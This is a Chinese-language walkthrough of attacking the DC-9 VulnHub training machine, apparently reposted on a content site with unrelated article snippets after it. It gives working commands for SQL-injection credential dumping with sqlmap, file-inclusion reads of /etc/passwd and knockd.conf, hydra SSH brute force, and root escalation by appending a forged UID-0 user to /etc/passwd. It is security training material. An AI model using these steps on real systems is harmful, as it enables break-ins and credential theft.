DC-9靶场渗透

靶机:DC-9 DC: 9 ~ VulnHub

攻击机:kail linux 2024

1,将两台虚拟机网络连接都改为NAT模式,并查看DC-9的MAC地址

2,进行主机扫描,通过MAC地址发现靶机的IP地址

攻击机IP地址192.168.23.169,靶机IP地址192.168.23.129

3,对靶机做更加精细的扫描

nmap  -sV -p- 192.168.23.129

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.38

4,访问靶机提供的web网页

5,对网站进行指纹识别

貌似没有明显的漏洞利用点

6,进行目录扫描,以便对网站网页的后台进行分析

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

7,向服务器传输请求爬虫协议的数据,回显为404,失败

curl http://192.168.23.129/robots.txt

8,使用web漏洞扫描工具nikto

nitko -h http://192.168.23.129

页面有链接:用户登录页面,没有发现

9,使用目录和文件枚举的开源工具gobuster(用于在web应用程序或网站上查找隐藏的目录和文件)

 gobuster dir -u http://192.168.23.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt

访问welcome.php直接返回:logged in as admin?奇怪,但是即使是admin,也没啥功能,并且在点击manage按钮时页面显示:File does not exist

10,manage.php是否有本地文件包含漏洞,使用wufzz工具(

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -c -u http://192.168.23.129/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 87

没有什么发现

11,经sqlmap简单测试,search.php页面有SQL注入漏洞

sqlmap -u "http://192.168.23.129/results.php" --data="search=1"

存在着SQL注入漏洞

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5

12,对网站数据库爆出库名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 --dbs

得到三个数据库名,使用user数据库

13,对网站爆出表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D user --tables

得到一张表,UserDetails

14,对网站爆出字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails --columns

得到6个

15,尝试爆出用户账户,密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump

得到如下账户密码,账户保存到user-dict,密码保存在pass-dict

16,由第3步发现开启了ssh服务,尝试连接

ssh marym@192.168.23.129

user库里面账户密码不能登录ssh

17,尝试爆出另一个数据库的表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff --tables

爆出两个表名,使用Users

18,尝试爆出User表下的字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users --columns

得到三个字段

19,爆出账户密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users -C Username,Password --dump

得到账户和密码( 经过MD5加密)

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) 

20,用在线网站md5解密得到admin密码:transorbital1,尝试登录一下

发现提示:File does not exist 显示文件不存在,猜测可能是文件包含漏洞

21,wfuzz测试etc/passwd,需要网站的cookie。 用--hw 100过滤一下

(Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.23.129/manage.php?FUZZ=../../../../etc/passwd

 22,确实是文件包含漏洞

http://192.168.23.129/manage.php?file=../../../../etc/passwd

23,接下来使用hydra爆破ssh

hydra -L user-dict -P pass-dict 192.168.23.129 ssh

没有爆破成功,发现22端口是filtered,应该是防火墙。

nmap -T4 -A -v 192.168.23.129

 

利用knockd打开ssh:

1,knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

2,端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

knockd 服务的默认配置路径:/etc/knockd.conf

24,访问http://192.168.23.129/manage.php?file=../../../..//etc/knockd.conf

 使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842

依次用nmap测试这三个端口:

nmap -p 7469 192.168.23.129

nmap -p 8475 192.168.23.129

nmap -p 9842 192.168.23.129

然后再nmap测试22端口, nmap -p 22 192.168.23.129

发现端口的状态变更了

25,再次测试 hydra -L user-dict -P pass-dict 192.168.23.129 ssh

爆破得到三对有效的账户密码

26,尝试登录三个账户,其中登录janitor|Ilovepeepee用户时,

发现其账户下有一个密码本,复制到pass-dict1

27,用新生成的密码本再尝试爆破

 hydra -L user-dict -P pass-dict1 192.168.23.129 ssh

得到两个账户密码

28,ssh登录fredf|B4-Tru3-001看一下有什么  ssh fredf@192.168.23.129

29, sudo -l查看一下有没有文件可以使用非root用户执行:

30,由此发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。 

进入目录/opt/devstuff/dist/test/查看test文件,是由python编译的

提权的基本方法

history sudo -l ls -a find/ ...

sudo(sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令)

1,内核漏洞 2,SUID 3,定时任务

31,cat查看用户信息 cat/etc/passwd,

root用户的id为0

32,利用方法:

使用Openssl构造加密密码,构造新用户admin

openssl passwd -1 -salt admin 123456

将新用户的信息保存到临时文件/tmp/admin中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

查看用户信息

cat /tmp/passwd

 

33,在ssh的fredf上操作,使用test程序将构造的用户和密码追加到/etc/passwd中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

sudo ./test /tmp/passwd /etc/passwd

cat /etc/passwd

用户信息已经添加上去了

34,su命令登录到admin:123456,并且是root用户

35,得到flag

渗透思路:

扫描发现靶机——分析靶机端口提供的服务——dirsearch目录爆破——通过测试找到sql注入点——使用sqlmap依次爆数据库,表,字段,数据——得到ssh登录密码/得到网站的登录密码——验证网站存在的文件包含漏洞——hydra爆破失败——发现并利用端口knock——成功登录ssh——发现sshz账户中新密码本——登录另一个账户发现可以提权——使用Openssl构造加密密码,构造新用户admin——切换新建用户,获得root权限——获得flag, 渗透完成

 

新知识点:

①:了解了knockd 服务 默认路径:/etc/knockd.conf

②:学习了hydra 工具的使用 很方便 (工具很强!)

③:了解了Web 文件包含漏洞遍历信息的基础

④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的

格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/58019.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL-存储过程/函数/触发器

文章目录 什么是存储过程存储过程的优缺点存储过程的基本使用存储过程的创建存储过程的调用存储过程的删除存储过程的查看delimiter命令 MySQL中的变量系统变量用户变量局部变量参数 if语句case语句while循环repeat循环loop循环游标cursor捕获异常并处理存储函数触发器触发器概…

QT QGestureEvent支持平移,缩放,旋转触摸板手势

一.Gesture释义 平移:点按住触控板,然后拖移,实现平移功能。 缩放:在触控板上,双指张开实现放大,双指合拢实现缩小。 旋转:在触控板上,双指分别反方向移动旋转,实现旋转功能。 二.实现功能 1.重写bool event(QEvent *event) override事件: bool ImageWidget::event…

16. 虚拟化

文章目录 第16章 虚拟化16.1 共享资源16.2 虚拟机16.3 虚拟机镜像16.4 容器16.5 容器和虚拟机16.6 容器的可移植性16.7 Pod(容器组)16.8 无服务器架构16.9 小结16.10 扩展阅读16.11 问题讨论 第16章 虚拟化 “虚拟”意味着永远不知道你的下一个字节从哪里…

SpringBoot poi-tl通过模板占位符生成word文件

简介: 开发中我们需要通过在word中使用占位符来动态渲染一些数据,本文讲解poi-tl实现动态生成word文档,包括表格循环,对象嵌套。 poi-tl官网文档 Poi-tl Documentation 1. word格式 这是我的test.word 这是导出后的out.docx文件 …

蓝桥杯普及题

[蓝桥杯 2024 省 B] 好数 题目描述 一个整数如果按从低位到高位的顺序,奇数位(个位、百位、万位……)上的数字是奇数,偶数位(十位、千位、十万位……)上的数字是偶数,我们就称之为“好数”。 给定一个正整数 N N N,请计算从 1 1

UE4 材质学习笔记12(水体反射和折射)

一.水体反射和折射 首先就是要断开所有连接到根节点的线,因为水有很多不同的节点成分,当所有其他节点都在用时 要分辨出其中一个是何效果是很难的。 虚幻有五种不同的方法可以创建反射,虚幻中的大多数场景使用多种这些方法 它们会同时运作。…

opencv-platform实现人脸识别

和同事接触了下甲方,对方算是一个资源整合的自由人,手里有项目,然后认识些开发就聊下有什么事情可以做的,对方聊了下做人脸签到,或者说人脸打开。就这方面我做了下简单的了解。做了个java小demo。 我们常用的人脸识别的摄像头屏幕…

shell脚本语言-需要算法?

文章目录 1. 冒泡排序2. 搜索算法3. 文本处理4. 文件操作5. 条件语句6. 循环 Shell脚本语言本身并不包含高级编程语言中的“算法”概念,如排序算法或搜索算法。Shell脚本主要用于自动化命令行任务,如文件操作、文本处理、程序执行等。不过,Sh…

ctfshow-文件上传-151-161

CTFshow文件上传 PHP文件上传:1、代码思路 黑名单是设置不能通过的用户,黑名单以外的用户都能通过。 phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。 2、绕过 找漏网之鱼:cer、php3、php4、phtml等。 大小写绕…

使用SpringBoot自定义注解+AOP+redisson锁来实现防接口幂等性重复提交

1 前提&#xff0c;整合好springboot和redis,redisson的环境 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-aop</artifactId> </dependency> 2 编写自定义注解&#xff0c;注解的作用是标记…

反编译华为-研究功耗联网监控日志

摘要 待机功耗中联网目前已知的盲点&#xff1a;App自己都不知道的push类型的被动联网、app下载场景所需时长、组播联网、路由器打醒AP。 竞品 策略 华为 灭屏使用handler定时检测&#xff08;若灭屏30分钟内则周期1分钟&#xff0c;否则为2分钟&#xff09;&#xff0c;检…

第13次CCF CSP认证真题解

1、跳一跳 题目链接&#xff1a;https://sim.csp.thusaac.com/contest/13/problem/0 本题是小游戏“跳一跳”的模拟题&#xff0c;按照题意模拟即可。 100分代码&#xff1a; #include <iostream> using namespace std; int main(int argc, char *argv[]) {int n 30…

中国人寿财险青岛市分公司:科技保险,助力企业高质量发展

中国人寿财险青岛市分公司深知科技保险对于企业发展的重要性&#xff0c;积极将科技保险融入企业发展战略。公司利用科技手段&#xff0c;为企业提供风险评估、防灾减灾等增值服务&#xff0c;帮助企业降低经营风险。同时&#xff0c;公司还通过科技保险产品&#xff0c;为企业…

第十七周:机器学习

目录 摘要 Abstract 一、MCMC 1、马尔科夫链采样 step1 状态设定 step2 转移矩阵 step3 马尔科夫链的生成 step4 概率分布的估计 2、蒙特卡洛方法 step1 由一个分布产生随机变量 step2 用这些随机变量做实验 3、MCMC算法 4、参考文章 二、flow-based GAN 1、引…

程序员在线面试刷题神器

大家好&#xff0c;我是程序员阿药。推荐大家一款面试刷题神器&#xff01;&#xff01;&#xff01; 简介 微学时光是一款专为计算机专业学生和IT行业求职者设计的面试刷题小程序&#xff0c;它汇集了丰富的计算机面试题和知识点&#xff0c;旨在帮助用户随时随地学习和复习…

Zookeeper面试整理-故障排查和调试

在使用 Zookeeper 的过程中,可能会遇到各种问题,如性能下降、节点失效、集群不可用等。为了保持系统的稳定性和高可用性,掌握 Zookeeper 的故障排查和调试方法至关重要。以下是一些常见的故障排查技巧和调试方法: 1. 日志分析 Zookeeper 的日志是最直接的调试和故障排查工具…

Python 应用可观测重磅上线:解决 LLM 应用落地的“最后一公里”问题

作者&#xff1a;彦鸿 背景 随着 LLM&#xff08;大语言模型&#xff09;技术的不断成熟和应用场景的不断拓展&#xff0c;越来越多的企业开始将 LLM 技术纳入自己的产品和服务中。LLM 在自然语言处理方面表现出令人印象深刻的能力。然而&#xff0c;其内部机制仍然不明确&am…

gin入门教程(8):渲染与静态文件

目录结构 /hello-gin │ ├── cmd/ │ └── main.go ├── pkg/ │ └── shared_lib.go ├── internal/ │ └── internal_lib.go ├── api/ │ └── routes.go ├── config/ │ └── config.go ├── migrations/ │ └── migration.sql └…

城市景色视频素材下载好去处

在制作短视频、Vlog 或商业宣传片时&#xff0c;城市景色视频素材能为作品增添现代感与活力。繁华都市、流光溢彩的夜景、清晨街道等都是展现城市魅力的好素材。那么城市景色视频素材去哪里下载呢&#xff1f; 蛙学网 是专为短视频创作者打造的素材平台&#xff0c;城市景色素材…

Spring Boot框架中的IO

1. 文件资源的访问与管理 在 Spring Boot 中&#xff0c;资源文件的访问与管理是常见的操作需求&#xff0c;比如加载配置文件、读取静态文件或从外部文件系统读取文件。Spring 提供了多种方式来处理资源文件访问&#xff0c;包括通过 ResourceLoader、Value 注解以及 Applica…